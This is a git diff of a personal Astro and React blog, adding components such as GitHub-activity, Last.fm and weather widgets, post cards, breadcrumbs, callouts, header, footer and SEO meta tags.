const [visibleCount, setVisibleCount] = useState(1)
useEffect(() => {
const fetchActivity = async () => {
try {
const response = await fetch(
'https://api.github.com/users/SrIzan10/events/public?per_page=20',
{
headers: {
Accept: 'application/vnd.github+json',
},
},
)
const events: GithubEvent[] = await response.json()
if (Array.isArray(events) && events.length > 0) {
const prioritizedEvents = events
.filter((event) => EVENT_PRIORITY[event.type])
.slice(0, 6)
const parsedActivity = await Promise.all(
prioritizedEvents.map((event) => parseActivity(event)),
)
setActivity(parsedActivity)
}
} catch (error) {
console.error('Error fetching GitHub activity:', error)
} finally {
setIsLoading(false)
}
}
fetchActivity()
}, [])
useEffect(() => {
if (isLoading || activity.length === 0) return
const element = cardRef.current
if (!element) return
const updateVisibleCount = () => {
const { width } = element.getBoundingClientRect()
const contentWidth = width - CARD_PADDING_X - LIST_PADDING_X
if (contentWidth >= 470) {
setVisibleCount(3)
return
}
if (contentWidth >= 310) {
setVisibleCount(2)
return
}
setVisibleCount(1)
}
updateVisibleCount()
const observer = new ResizeObserver(updateVisibleCount)
observer.observe(element)
return () => observer.disconnect()
}, [isLoading, activity.length])
if (isLoading) {
return (
<div className="flex h-full w-full flex-col justify-between overflow-hidden rounded-lg p-4">
<div className="flex items-center justify-between">
<Skeleton className="h-3 w-20" />
<Skeleton className="h-4 w-4" />
</div>
<div className="space-y-3">
<div className="space-y-2">
<Skeleton className="h-4 w-1/2" />
<Skeleton className="h-3 w-full" />
</div>
<div className="hidden space-y-2 sm:block">
<Skeleton className="h-4 w-2/5" />
<Skeleton className="h-3 w-4/5" />
</div>
<div className="hidden space-y-2 lg:block">
<Skeleton className="h-4 w-1/3" />
<Skeleton className="h-3 w-3/4" />
</div>
</div>
<Skeleton className="h-3 w-2/3" />
</div>
)
}
if (activity.length === 0)
return <p className="text-muted-foreground p-4 text-sm">Unavailable</p>
const visibleActivity = activity.slice(0, visibleCount)
return (
<div
ref={cardRef}
className="flex h-full w-full flex-col justify-between overflow-hidden rounded-lg p-4"
>
<div className="flex items-center justify-between">
<span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
GitHub Activity
</span>
<FaGithub className="text-muted-foreground/50" size={16} />
</div>
<div className="space-y-2.5 p-2">
{visibleActivity.map((item) => {
return (
<a
key={item.id}
href={item.url}
target="_blank"
rel="noopener noreferrer"
className="hover:bg-accent/40 block min-w-0 rounded-md px-2 py-1.5 transition-colors duration-200"
>
<p className="truncate text-sm leading-snug font-semibold">
{item.title}
</p>
<p className="text-muted-foreground mt-0.5 line-clamp-1 text-xs">
{item.detail}
</p>
<p className="text-muted-foreground/60 mt-1 truncate text-[11px]">
{item.meta ? `${item.meta} in ${item.repo}` : item.repo}
</p>
</a>
)
})}
</div>
<p className="text-muted-foreground/60 truncate text-xs">
github.com/SrIzan10
</p>
</div>
)
}

View File

@@ -0,0 +1,99 @@
// code based on https://github.com/jktrn/enscribe.dev/blob/main/src/components/bento/SpotifyPresence.tsx
// which is under copyright.
import { useEffect, useState } from 'react'
import { Skeleton } from './ui/skeleton'
import { FaLastfm } from 'react-icons/fa'
interface Track {
name: string
artist: { '#text': string }
album: { '#text': string }
image: { '#text': string }[]
url: string
'@attr'?: { nowplaying: string }
}
export default function BentoSpotify() {
const [displayData, setDisplayData] = useState<Track | null>(null)
const [isLoading, setIsLoading] = useState(true)
useEffect(() => {
fetch('https://lastfm-last-played.biancarosa.com.br/SrIzan10/latest-song')
.then((response) => response.json())
.then((data) => {
setDisplayData(data.track)
setIsLoading(false)
})
.catch((error) => {
console.error('Error fetching latest song:', error)
setIsLoading(false)
})
}, [])
if (isLoading) {
return (
<div className="flex h-full w-full flex-col justify-between rounded-lg p-4">
<div className="flex items-center gap-2">
<Skeleton className="h-3 w-16" />
</div>
<div className="flex items-center gap-3">
<Skeleton className="h-12 w-12 flex-shrink-0 rounded-md" />
<div className="flex min-w-0 flex-1 flex-col gap-2">
<Skeleton className="h-4 w-3/4" />
<Skeleton className="h-3 w-1/2" />
</div>
</div>
<Skeleton className="h-3 w-20" />
</div>
)
}
if (!displayData)
return <p className="text-muted-foreground p-4 text-sm">Unavailable</p>
const { name: song, artist, album, image, url } = displayData
const isNowPlaying = displayData['@attr']?.nowplaying === 'true'
return (
<a
href={url}
target="_blank"
rel="noopener noreferrer"
className="group hover:bg-accent/40 flex h-full w-full flex-col justify-between rounded-lg p-4 transition-colors duration-200"
>
{/* Label */}
<div className="flex items-center justify-between">
<span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
{isNowPlaying ? 'Now Playing' : 'Last Played'}
</span>
<FaLastfm
className="text-muted-foreground/50 group-hover:text-muted-foreground transition-colors"
size={16}
/>
</div>
{/* Track info */}
<div className="flex items-center gap-3">
<img
src={image[3]['#text']}
alt="Album art"
width={48}
height={48}
className="h-12 w-12 flex-shrink-0 rounded-md object-cover"
/>
<div className="flex min-w-0 flex-col">
<p className="truncate text-sm leading-snug font-semibold">{song}</p>
<p className="text-muted-foreground truncate text-xs">
{artist['#text']}
</p>
</div>
</div>
{/* Album */}
<p className="text-muted-foreground/60 truncate text-xs">
{album['#text']}
</p>
</a>
)
}

View File

@@ -0,0 +1,173 @@
import { useEffect, useState } from 'react'
import { Skeleton } from './ui/skeleton'
import { Cloud, Sun, CloudRain, CloudSnow } from 'lucide-react'
export default function BentoWeather() {
const [weatherData, setWeatherData] = useState<WttrResponse | null>(null)
const [isLoading, setIsLoading] = useState(true)
useEffect(() => {
const fetchWeather = async () => {
try {
const res = await fetch('https://wttr.in/Malaga?format=j2')
const data = await res.json()
setWeatherData(data)
setIsLoading(false)
} catch (error) {
console.error('Error fetching weather:', error)
setIsLoading(false)
}
}
fetchWeather()
}, [])
const getWeatherIcon = (description: string) => {
const desc = description.toLowerCase()
if (desc.includes('rain') || desc.includes('drizzle')) return CloudRain
if (desc.includes('snow')) return CloudSnow
if (desc.includes('cloud') || desc.includes('overcast')) return Cloud
return Sun
}
if (isLoading) {
return (
<div className="flex h-full w-full flex-col justify-between rounded-lg p-4">
<Skeleton className="h-3 w-24" />
<div className="flex items-end gap-2">
<Skeleton className="h-9 w-20" />
</div>
<Skeleton className="h-3 w-32" />
</div>
)
}
if (!weatherData)
return <p className="text-muted-foreground p-4 text-sm">Unavailable</p>
const current = weatherData.current_condition[0]
const location = weatherData.nearest_area[0]
const WeatherIcon = getWeatherIcon(current.weatherDesc[0].value)
const cityName = location.areaName[0].value
return (
<a
href={`https://wttr.in/${cityName}`}
target="_blank"
rel="noopener noreferrer"
className="group hover:bg-accent/40 flex h-full w-full flex-col justify-between rounded-lg p-4 transition-colors duration-200"
>
{/* Label */}
<div className="flex items-center justify-between">
<span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
{cityName}
</span>
<WeatherIcon
size={16}
className="text-muted-foreground/50 group-hover:text-muted-foreground transition-colors"
/>
</div>
{/* Temperature — big and dominant */}
<p className="text-4xl leading-none font-bold tabular-nums">
{current.temp_C}°
</p>
{/* Description */}
<p className="text-muted-foreground truncate text-xs">
{current.weatherDesc[0].value}
</p>
</a>
)
}
// Types generated with AI.
interface WttrResponse {
current_condition: {
FeelsLikeC: string
FeelsLikeF: string
cloudcover: string
humidity: string
localObsDateTime: string
observation_time: string
precipInches: string
precipMM: string
pressure: string
pressureInches: string
temp_C: string
temp_F: string
uvIndex: string
visibility: string
visibilityMiles: string
weatherCode: string
weatherDesc: Array<{ value: string }>
weatherIconUrl: Array<{ value: string }>
winddir16Point: string
winddirDegree: string
windspeedKmph: string
windspeedMiles: string
}[]
nearest_area: Array<{
areaName: Array<{ value: string }>
country: Array<{ value: string }>
latitude: string
longitude: string
population: string
region: Array<{ value: string }>
weatherUrl: Array<{ value: string }>
}>
request: Array<{
query: string
type: string
}>
weather: Array<{
astronomy: Array<{
moon_illumination: string
moon_phase: string
moonrise: string
moonset: string
sunrise: string
sunset: string
}>
avgtempC: string
avgtempF: string
date: string
hourly: Array<{
DewPointC: string
DewPointF: string
FeelsLikeC: string
FeelsLikeF: string
HeatIndexC: string
HeatIndexF: string
WindChillC: string
WindChillF: string
WindGustKmph: string
WindGustMiles: string
cloudcover: string
humidity: string
precipInches: string
precipMM: string
pressure: string
pressureInches: string
tempC: string
tempF: string
time: string
uvIndex: string
visibility: string
visibilityMiles: string
weatherCode: string
weatherDesc: Array<{ value: string }>
weatherIconUrl: Array<{ value: string }>
winddir16Point: string
winddirDegree: string
windspeedKmph: string
windspeedMiles: string
}>
maxtempC: string
maxtempF: string
mintempC: string
mintempF: string
sunHour: string
totalSnow_cm: string
uvIndex: string
}>
}

View File

@@ -0,0 +1,115 @@
---
import AvatarComponent from '@/components/ui/avatar'
import { Badge } from '@/components/ui/badge'
import { Separator } from '@/components/ui/separator'
import {
getCombinedReadingTime,
getSubpostCount,
isSubpost,
parseAuthors,
} from '@/lib/data-utils'
import { formatDate } from '@/lib/utils'
import { Icon } from 'astro-icon/components'
import { Image } from 'astro:assets'
import type { CollectionEntry } from 'astro:content'
import Link from './Link.astro'
import { Ratings } from './ui/rating'
import { getReleaseData } from '@/lib/discogs'
interface Props {
entry: CollectionEntry<'blog'>
}
const { entry } = Astro.props
const formattedDate = formatDate(entry.data.date)
const readTime = await getCombinedReadingTime(entry.id)
const authors = await parseAuthors(entry.data.authors ?? [])
const subpostCount = !isSubpost(entry.id) ? await getSubpostCount(entry.id) : 0
const rating = entry.data.tags?.find((tag) => tag.startsWith('rating-'))
const discogs = entry.data.discogs ? await getReleaseData(entry.data.discogs) : null;
---
<div
class="hover:bg-secondary/50 rounded-xl border p-4 transition-colors duration-300 ease-in-out"
>
<Link
href={`/${entry.collection}/${entry.id}`}
class="flex flex-col gap-4 sm:flex-row"
>
{
entry.data.image || (discogs && discogs.images[0]?.resource_url) && (
<div class="w-48 max-w-48 sm:shrink-0 h-30">
<Image
src={entry.data.image || discogs.images[0].resource_url}
alt={entry.data.title}
width={1200}
height={400}
class="w-full h-full object-cover rounded-lg"
/>
</div>
)
}
<div class="grow">
<h3 class="mb-1 text-lg font-medium">{entry.data.title}</h3>
<p class="text-muted-foreground mb-2 text-sm">{entry.data.description}</p>
<div
class="text-muted-foreground mb-2 flex flex-wrap items-center gap-x-2 text-xs"
>
{
authors.length > 0 && (
<>
{authors.map((author) => (
<div class="flex items-center gap-x-1.5">
<AvatarComponent
client:load
src={author.avatar}
alt={author.name}
fallback={author.name[0]}
className="size-5 rounded-full"
/>
<span>{author.name}</span>
</div>
))}
<Separator orientation="vertical" className="h-4!" />
</>
)
}
<span>{formattedDate}</span>
<Separator orientation="vertical" className="h-4!" />
<span>{readTime}</span>
{
subpostCount > 0 && (
<>
<Separator orientation="vertical" className="h-4!" />
<span class="flex items-center gap-1">
<Icon name="lucide:file-text" class="size-3" />
{subpostCount} subpost{subpostCount === 1 ? '' : 's'}
</span>
</>
)
}
</div>
{
entry.data.tags && (
<div class="flex flex-wrap gap-2 items-center">
{rating && <div>
<Ratings rating={parseFloat(rating.replace('rating-', ''))} size={15} />
</div>}
{entry.data.tags.map((tag) => {
if (tag.startsWith('rating-')) return null;
return (
<Badge variant="secondary" className="flex items-center gap-x-1">
<Icon name="lucide:hash" class="size-3" />
{tag}
</Badge>
)})}
</div>
)
}
</div>
</Link>
</div>

View File

@@ -0,0 +1,61 @@
---
import {
Breadcrumb,
BreadcrumbItem,
BreadcrumbLink,
BreadcrumbList,
BreadcrumbPage,
BreadcrumbSeparator,
} from '@/components/ui/breadcrumb'
import { Icon } from 'astro-icon/components'
export interface BreadcrumbItem {
href?: string
label: string
icon?: string
}
interface Props {
items: BreadcrumbItem[]
}
const { items } = Astro.props
---
<Breadcrumb>
<BreadcrumbList>
<BreadcrumbItem>
<BreadcrumbLink href="/">
<Icon name="lucide:home" class="size-4 shrink-0" />
</BreadcrumbLink>
</BreadcrumbItem>
{
items.map((item, index) => (
<>
<BreadcrumbSeparator />
<BreadcrumbItem>
{index === items.length - 1 ? (
<BreadcrumbPage>
<span class="flex items-center gap-x-2">
{item.icon && (
<Icon name={item.icon} class="size-4 shrink-0" />
)}
<span>{item.label}</span>
</span>
</BreadcrumbPage>
) : (
<BreadcrumbLink href={item.href}>
<span class="flex items-center gap-x-2">
{item.icon && (
<Icon name={item.icon} class="size-4 shrink-0" />
)}
<span>{item.label}</span>
</span>
</BreadcrumbLink>
)}
</BreadcrumbItem>
</>
))
}
</BreadcrumbList>
</Breadcrumb>

View File

@@ -0,0 +1,183 @@
---
import { cn } from '@/lib/utils'
import { Icon } from 'astro-icon/components'
import { cva, type VariantProps } from 'class-variance-authority'
const calloutConfig = {
note: {
style: 'border-blue-500 dark:bg-blue-950/5',
textColor: 'text-blue-700 dark:text-blue-300',
icon: 'lucide:info',
},
tip: {
style: 'border-green-500 dark:bg-green-950/5',
textColor: 'text-green-700 dark:text-green-300',
icon: 'lucide:lightbulb',
},
warning: {
style: 'border-amber-500 dark:bg-amber-950/5',
textColor: 'text-amber-700 dark:text-amber-300',
icon: 'lucide:alert-triangle',
},
danger: {
style: 'border-red-500 dark:bg-red-950/5',
textColor: 'text-red-700 dark:text-red-300',
icon: 'lucide:shield-alert',
},
important: {
style: 'border-purple-500 dark:bg-purple-950/5',
textColor: 'text-purple-700 dark:text-purple-300',
icon: 'lucide:message-square-warning',
},
definition: {
style: 'border-purple-500 dark:bg-purple-950/5',
textColor: 'text-purple-700 dark:text-purple-300',
icon: 'lucide:book-open',
},
theorem: {
style: 'border-teal-500 dark:bg-teal-950/5',
textColor: 'text-teal-700 dark:text-teal-300',
icon: 'lucide:check-circle',
},
lemma: {
style: 'border-sky-400 dark:bg-sky-950/5',
textColor: 'text-sky-700 dark:text-sky-300',
icon: 'lucide:puzzle',
},
proof: {
style: 'border-gray-500 dark:bg-gray-950/5',
textColor: 'text-gray-700 dark:text-gray-300',
icon: 'lucide:check-square',
},
corollary: {
style: 'border-cyan-500 dark:bg-cyan-950/5',
textColor: 'text-cyan-700 dark:text-cyan-300',
icon: 'lucide:git-branch',
},
proposition: {
style: 'border-slate-500 dark:bg-slate-950/5',
textColor: 'text-slate-700 dark:text-slate-300',
icon: 'lucide:file-text',
},
axiom: {
style: 'border-violet-600 dark:bg-violet-950/5',
textColor: 'text-violet-700 dark:text-violet-300',
icon: 'lucide:anchor',
},
conjecture: {
style: 'border-pink-500 dark:bg-pink-950/5',
textColor: 'text-pink-700 dark:text-pink-300',
icon: 'lucide:help-circle',
},
notation: {
style: 'border-slate-400 dark:bg-slate-950/5',
textColor: 'text-slate-700 dark:text-slate-300',
icon: 'lucide:pen-tool',
},
remark: {
style: 'border-gray-400 dark:bg-gray-950/5',
textColor: 'text-gray-700 dark:text-gray-300',
icon: 'lucide:message-circle',
},
intuition: {
style: 'border-yellow-500 dark:bg-yellow-950/5',
textColor: 'text-yellow-700 dark:text-yellow-300',
icon: 'lucide:lightbulb',
},
recall: {
style: 'border-blue-300 dark:bg-blue-950/5',
textColor: 'text-blue-600 dark:text-blue-300',
icon: 'lucide:rotate-ccw',
},
explanation: {
style: 'border-lime-500 dark:bg-lime-950/5',
textColor: 'text-lime-700 dark:text-lime-300',
icon: 'lucide:help-circle',
},
example: {
style: 'border-emerald-500 dark:bg-emerald-950/5',
textColor: 'text-emerald-700 dark:text-emerald-300',
icon: 'lucide:code',
},
exercise: {
style: 'border-indigo-500 dark:bg-indigo-950/5',
textColor: 'text-indigo-700 dark:text-indigo-300',
icon: 'lucide:dumbbell',
},
problem: {
style: 'border-orange-600 dark:bg-orange-950/5',
textColor: 'text-orange-700 dark:text-orange-300',
icon: 'lucide:alert-circle',
},
answer: {
style: 'border-teal-500 dark:bg-teal-950/5',
textColor: 'text-teal-700 dark:text-teal-300',
icon: 'lucide:check',
},
solution: {
style: 'border-emerald-600 dark:bg-emerald-950/5',
textColor: 'text-emerald-700 dark:text-emerald-300',
icon: 'lucide:check-circle-2',
},
summary: {
style: 'border-sky-500 dark:bg-sky-950/5',
textColor: 'text-sky-700 dark:text-sky-300',
icon: 'lucide:list',
},
} as const
const capitalize = (str: string) => str.charAt(0).toUpperCase() + str.slice(1)
const calloutVariants = cva('relative px-4 py-3 my-6 border-l-4 text-sm', {
variants: {
variant: Object.fromEntries(
Object.entries(calloutConfig).map(([key, config]) => [key, config.style]),
),
},
defaultVariants: {
variant: 'note',
},
})
interface Props extends VariantProps<typeof calloutVariants> {
title?: string
class?: string
variant?: keyof typeof calloutConfig
defaultOpen?: boolean
}
const { title, variant = 'note', defaultOpen = true, ...rest } = Astro.props
---
<details
class={cn(
calloutVariants({ variant }),
rest.class,
'[&[open]>summary_svg:last-child]:rotate-180 [&[open]>summary]:mb-3',
)}
{...rest}
open={defaultOpen}
>
<summary
class="flex cursor-pointer items-center font-medium [&::-webkit-details-marker]:hidden"
>
<Icon
name={calloutConfig[variant].icon}
class={cn('mr-2 size-4 shrink-0', calloutConfig[variant].textColor)}
/>
<span class={cn('font-medium mr-2', calloutConfig[variant].textColor)}>
{capitalize(variant)}
{title && <span class="font-normal opacity-70"> ({title})</span>}
</span>
<Icon
name="lucide:chevron-down"
class={cn(
'ml-auto h-4 w-4 shrink-0 transition-transform duration-200',
calloutConfig[variant].textColor,
)}
/>
</summary>
<div>
<slot />
</div>
</details>

View File

@@ -0,0 +1,6 @@
<link rel="icon" type="image/png" href="/favicon-96x96.png" sizes="96x96" />
<link rel="icon" type="image/svg+xml" href="/favicon.svg" />
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
<meta name="apple-mobile-web-app-title" content="astro-erudite" />
<link rel="manifest" href="/site.webmanifest" />

View File

@@ -0,0 +1,33 @@
---
import { Separator } from '@/components/ui/separator'
import { SOCIAL_LINKS } from '@/consts'
import Link from './Link.astro'
import SocialIcons from './SocialIcons.astro'
---
<footer class="py-4">
<div
class="mx-auto flex max-w-3xl flex-col items-center justify-center gap-y-2 px-4 sm:flex-row sm:justify-between"
>
<div class="flex flex-wrap items-center justify-center gap-x-2 text-center">
<span class="text-muted-foreground text-sm">
&copy; {new Date().getFullYear()} All rights reserved.
</span>
<Separator orientation="vertical" className="hidden h-4! sm:block" />
<p class="text-muted-foreground text-sm">
By <Link
href="https://github.com/SrIzan10"
class="text-foreground"
external
underline>eth0</Link
>. Initial template by <Link
href="https://github.com/jktrn"
class="text-foreground"
external
underline>enscribe</Link
>.
</p>
</div>
<SocialIcons links={SOCIAL_LINKS} />
</div>
</footer>

View File

@@ -1,17 +0,0 @@
---
interface Props {
date: Date;
}
const { date } = Astro.props;
---
<time datetime={date.toISOString()}>
{
date.toLocaleDateString('en-us', {
year: 'numeric',
month: 'short',
day: 'numeric',
})
}
</time>

49
src/components/Head.astro Normal file
View File

@@ -0,0 +1,49 @@
---
import { SITE } from '@/consts'
import { ClientRouter } from 'astro:transitions'
import Favicons from './Favicons.astro'
---
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta
name="viewport"
content="width=device-width, initial-scale=1.0, user-scalable=yes"
/>
<meta name="generator" content={Astro.generator} />
<meta name="HandheldFriendly" content="True" />
<meta name="mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="default" />
<meta
name="format-detection"
content="telephone=no,date=no,address=no,email=no,url=no"
/>
<meta
name="theme-color"
content="#121212"
media="(prefers-color-scheme: dark)"
/>
<meta
name="theme-color"
content="#121212"
media="(prefers-color-scheme: light)"
/>
<link rel="sitemap" href="/sitemap-index.xml" />
<link rel="manifest" href="/site.webmanifest" />
<link
rel="alternate"
type="application/rss+xml"
title={SITE.title}
href={new URL('rss.xml', Astro.site)}
/>
<Favicons />
<ClientRouter />
<slot />
</head>

View File

@@ -1,31 +1,37 @@
--- ---
import { SITE_TITLE } from '../consts'; import Link from '@/components/Link.astro'
import { ModeToggle } from '@/components/ui/modetoggle'; import ThemeToggle from '@/components/ThemeToggle.astro'
import MobileMenu from '@/components/ui/mobile-menu'
import { NAV_LINKS, SITE } from '@/consts'
import { Image } from 'astro:assets'
import logo from '../../public/static/logo.png'
--- ---
<script is:inline> <header transition:persist>
const getThemePreference = () => { <div
if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) { class="mx-auto flex max-w-3xl items-center justify-between gap-4 px-4 py-3"
return localStorage.getItem('theme'); >
} <Link href="/" class="flex shrink-0 items-center justify-center gap-3">
return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'; <Image src={logo} alt="Logo" class="size-5 sm:size-6 rounded-full" />
}; <span class="hidden h-full text-lg font-medium min-[300px]:block"
const isDark = getThemePreference() === 'dark'; >{SITE.title}</span
document.documentElement.classList[isDark ? 'add' : 'remove']('dark'); >
</Link>
if (typeof localStorage !== 'undefined') { <div class="flex items-center sm:gap-4">
const observer = new MutationObserver(() => { <nav class="hidden items-center gap-4 text-sm sm:flex sm:gap-6">
const isDark = document.documentElement.classList.contains('dark'); {
localStorage.setItem('theme', isDark ? 'dark' : 'light'); NAV_LINKS.map((item) => (
}); <Link
observer.observe(document.documentElement, { attributes: true, attributeFilter: ['class'] }); href={item.href}
} class="text-foreground/60 hover:text-foreground/80 capitalize transition-colors"
</script> >
{item.label}
<div class="flex items-center fixed gap-4 p-2 bg-slate-300/35 dark:bg-slate-500/20 backdrop-blur-md w-full sm:w-auto"> </Link>
<a href="/" class="font-bold text-lg">{ SITE_TITLE }</a> ))
<a href="/blog">Blog</a> }
<a href="https://jp.srizan.dev">日本語</a> </nav>
<div class="flex-1" /> <MobileMenu client:load transition:persist />
<ModeToggle client:load /> <ThemeToggle transition:persist />
</div> </div>
</div>
</header>

View File

@@ -1,24 +0,0 @@
---
import { FaExternalLinkAlt } from 'react-icons/fa';
import '@/styles/global.css'
type Props = {
url: string;
author: string;
description: string;
location: string;
}
const { url, author, description, location } = Astro.props;
---
<style>
p {
@apply mr-[0.2em] my-[0.1em] first:ml-[0.2em];
}
</style>
<div class='absolute bottom-0 right-0 text-[0.8em] text-white bg-black opacity-40 select-none flex transition-opacity duration-150 ease-in-out hover:opacity-100'>
<a href={location} target="_blank"><p>{description}</p></a>
<p>by {author}</p>
<a href={url} target="_blank" aria-label="image url"><FaExternalLinkAlt /></a>
</div>

27
src/components/Link.astro Normal file
View File

@@ -0,0 +1,27 @@
---
import { cn } from '@/lib/utils'
interface Props {
href: string
external?: boolean
class?: string
underline?: boolean
[key: string]: any
}
const { href, external, class: className, underline, ...rest } = Astro.props
---
<a
href={href}
target={external ? '_blank' : '_self'}
class={cn(
'inline-block transition-colors duration-300 ease-in-out',
underline &&
'underline decoration-muted-foreground underline-offset-[3px] hover:decoration-foreground',
className,
)}
{...rest}
>
<slot />
</a>

View File

@@ -0,0 +1,30 @@
---
import { SITE } from '@/consts'
interface Props {
title?: string
description?: string
}
const { title = SITE.title, description = SITE.description } = Astro.props
const image = new URL('/static/1200x630.png', Astro.site)
---
<title>{`${title} | ${SITE.title}`}</title>
<meta name="description" content={description} />
<link rel="canonical" href={SITE.href} />
<meta property="og:title" content={title} />
<meta property="og:description" content={description} />
<meta property="og:image" content={image} />
<meta property="og:image:alt" content={title} />
<meta property="og:type" content="website" />
<meta property="og:locale" content={SITE.locale} />
<meta property="og:site_name" content={SITE.title} />
<meta property="og:url" content={Astro.url} />
<meta name="twitter:title" content={title} />
<meta name="twitter:description" content={description} />
<meta name="twitter:image" content={image} />
<meta name="twitter:image:alt" content={title} />
<meta name="twitter:card" content="summary_large_image" />

View File

@@ -0,0 +1,60 @@
---
import { SITE } from '@/consts'
import { isSubpost } from '@/lib/data-utils'
import type { CollectionEntry } from 'astro:content'
interface Props {
post: CollectionEntry<'blog'>
}
const { post } = Astro.props
const title = post.data.title || SITE.title
const description = post.data.description || SITE.description
const image = new URL('/static/1200x630.png', Astro.site)
const author =
post.data.authors && post.data.authors.length > 0
? post.data.authors.join(', ')
: SITE.author
---
<title>{`${title} | ${SITE.title}`}</title>
<meta name="title" content={`${title} | ${SITE.title}`} />
<meta name="description" content={description} />
<link rel="canonical" href={SITE.href} />
{isSubpost(post.id) && <meta name="robots" content="noindex" />}
<meta property="og:title" content={title} />
<meta property="og:description" content={description} />
<meta
property="og:image"
content={post?.data?.image?.src
? `${SITE.href}${post.data.image.src}`
: image}
/>
<meta property="og:image:alt" content={title} />
<meta property="og:type" content="website" />
<meta property="og:locale" content={SITE.locale} />
<meta property="og:site_name" content={SITE.title} />
<meta property="og:url" content={Astro.url} />
<meta property="og:author" content={author} />
<meta name="twitter:title" content={title} />
<meta name="twitter:description" content={description} />
<meta
property="twitter:image"
content={post?.data?.image?.src
? `${SITE.href}${post.data.image.src}`
: image}
/>
<meta name="twitter:image:alt" content={title} />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:creator" content={author} />
{
post?.data.tags &&
post.data.tags.map((tag: string) => {
return <meta property="article:tag" content={tag} />
})
}

View File

@@ -0,0 +1,94 @@
---
import Link from '@/components/Link.astro'
import { buttonVariants } from '@/components/ui/button'
import { cn } from '@/lib/utils'
import { Icon } from 'astro-icon/components'
const { newerPost, olderPost, parentPost } = Astro.props
const isSubpost = !!parentPost
---
<nav
class={cn(
'col-start-2 grid grid-cols-1 gap-4',
isSubpost ? 'sm:grid-cols-3' : 'sm:grid-cols-2',
)}
>
<Link
href={olderPost ? `/blog/${olderPost.id}#post-title` : '#'}
class={cn(
buttonVariants({ variant: 'outline' }),
'rounded-xl group flex items-center justify-start size-full',
!olderPost && 'pointer-events-none opacity-50 cursor-not-allowed',
)}
aria-disabled={!olderPost}
>
<Icon
name="lucide:arrow-left"
class="mr-2 size-4 transition-transform group-hover:-translate-x-1"
/>
<div class="flex flex-col items-start overflow-hidden text-wrap">
<span class="text-muted-foreground text-left text-xs">
{isSubpost ? 'Previous Subpost' : 'Previous Post'}
</span>
<span class="w-full text-left text-sm text-balance text-ellipsis">
{
olderPost?.data.title ||
(isSubpost ? 'No older subpost' : "You're at the oldest post!")
}
</span>
</div>
</Link>
{
isSubpost && (
<Link
href={parentPost ? `/blog/${parentPost.id}#post-title` : '#'}
class={cn(
buttonVariants({ variant: 'outline' }),
'group flex size-full items-center justify-center rounded-xl',
!parentPost && 'pointer-events-none cursor-not-allowed opacity-50',
)}
>
<Icon
name="lucide:corner-left-up"
class="mr-2 size-4 transition-transform group-hover:-translate-y-1"
/>
<div class="flex flex-col items-center overflow-hidden text-wrap">
<span class="text-muted-foreground text-center text-xs">
Parent Post
</span>
<span class="w-full text-center text-sm text-balance text-ellipsis">
{parentPost?.data.title || 'No parent post'}
</span>
</div>
</Link>
)
}
<Link
href={newerPost ? `/blog/${newerPost.id}#post-title` : '#'}
class={cn(
buttonVariants({ variant: 'outline' }),
'rounded-xl group flex items-center justify-end size-full',
!newerPost && 'pointer-events-none opacity-50 cursor-not-allowed',
)}
aria-disabled={!newerPost}
>
<div class="flex flex-col items-end overflow-hidden text-wrap">
<span class="text-muted-foreground text-right text-xs">
{isSubpost ? 'Next Subpost' : 'Next Post'}
</span>
<span class="w-full text-right text-sm text-balance text-ellipsis">
{
newerPost?.data.title ||
(isSubpost ? 'No newer subpost' : "You're at the newest post!")
}
</span>
</div>
<Icon
name="lucide:arrow-right"
class="ml-2 size-4 transition-transform group-hover:translate-x-1"
/>
</Link>
</nav>

View File

@@ -0,0 +1,70 @@
---
import Link from '@/components/Link.astro'
import { Badge } from '@/components/ui/badge'
import { formatDate } from '@/lib/utils'
import { Icon } from 'astro-icon/components'
import { Image } from 'astro:assets'
import type { CollectionEntry } from 'astro:content'
interface Props {
project: CollectionEntry<'projects'>
}
const { project } = Astro.props
---
<div
class="hover:bg-secondary/50 rounded-xl border p-4 transition-colors duration-300 ease-in-out"
>
<Link
href={project.data.link}
class="flex flex-col gap-4 sm:flex-row"
external
>
{
project.data.image && (
<div class="max-w-3xs sm:shrink-0">
<Image
src={project.data.image}
alt={project.data.name}
width={1200}
height={630}
class="object-cover"
/>
</div>
)
}
<div class="grow">
<h3 class="mb-1 text-lg font-medium">
{project.data.name}
</h3>
<p class="text-muted-foreground mb-2 text-sm">
{project.data.description}
</p>
{
project.data.startDate && (
<p class="text-muted-foreground/70 mb-2 flex items-center gap-x-1.5 text-xs">
<span class="flex items-center gap-x-1.5">
<Icon name="lucide:calendar" class="size-3" />
<span>
{formatDate(project.data.startDate)}
{project.data.endDate
? ` → ${formatDate(project.data.endDate)}`
: ' → Present'}
</span>
</span>
</p>
)
}
{
project.data.tags && (
<div class="flex flex-wrap gap-2">
{project.data.tags.map((tag: string) => (
<Badge variant="secondary">{tag}</Badge>
))}
</div>
)
}
</div>
</Link>
</div>

View File

@@ -0,0 +1,37 @@
---
import Link from '@/components/Link.astro'
import { buttonVariants } from '@/components/ui/button'
import { ICON_MAP } from '@/consts'
import type { SocialLink } from '@/types'
import { Icon } from 'astro-icon/components'
interface Props {
links: SocialLink[]
}
const { links } = Astro.props
---
<ul class="flex flex-wrap gap-2" role="list">
{
links.map(({ href, label }) => (
<li>
<Link
href={href}
aria-label={label}
title={label}
class={buttonVariants({ variant: 'outline', size: 'icon' })}
external
>
<Icon
name={
ICON_MAP[label as keyof typeof ICON_MAP] ||
'lucide:message-circle-question'
}
class="size-4"
/>
</Link>
</li>
))
}
</ul>

View File

@@ -0,0 +1,180 @@
---
import {
getParentId,
getParentPost,
getPostById,
getPostReadingTime,
getSubpostsForParent,
isSubpost,
} from '@/lib/data-utils'
import { Icon } from 'astro-icon/components'
const { parentId } = Astro.props
const currentPostId = Astro.params.id as string
const isCurrentSubpost = isSubpost(currentPostId)
const rootParentId = isCurrentSubpost ? getParentId(currentPostId) : parentId
const currentPost = !isCurrentSubpost ? await getPostById(currentPostId) : null
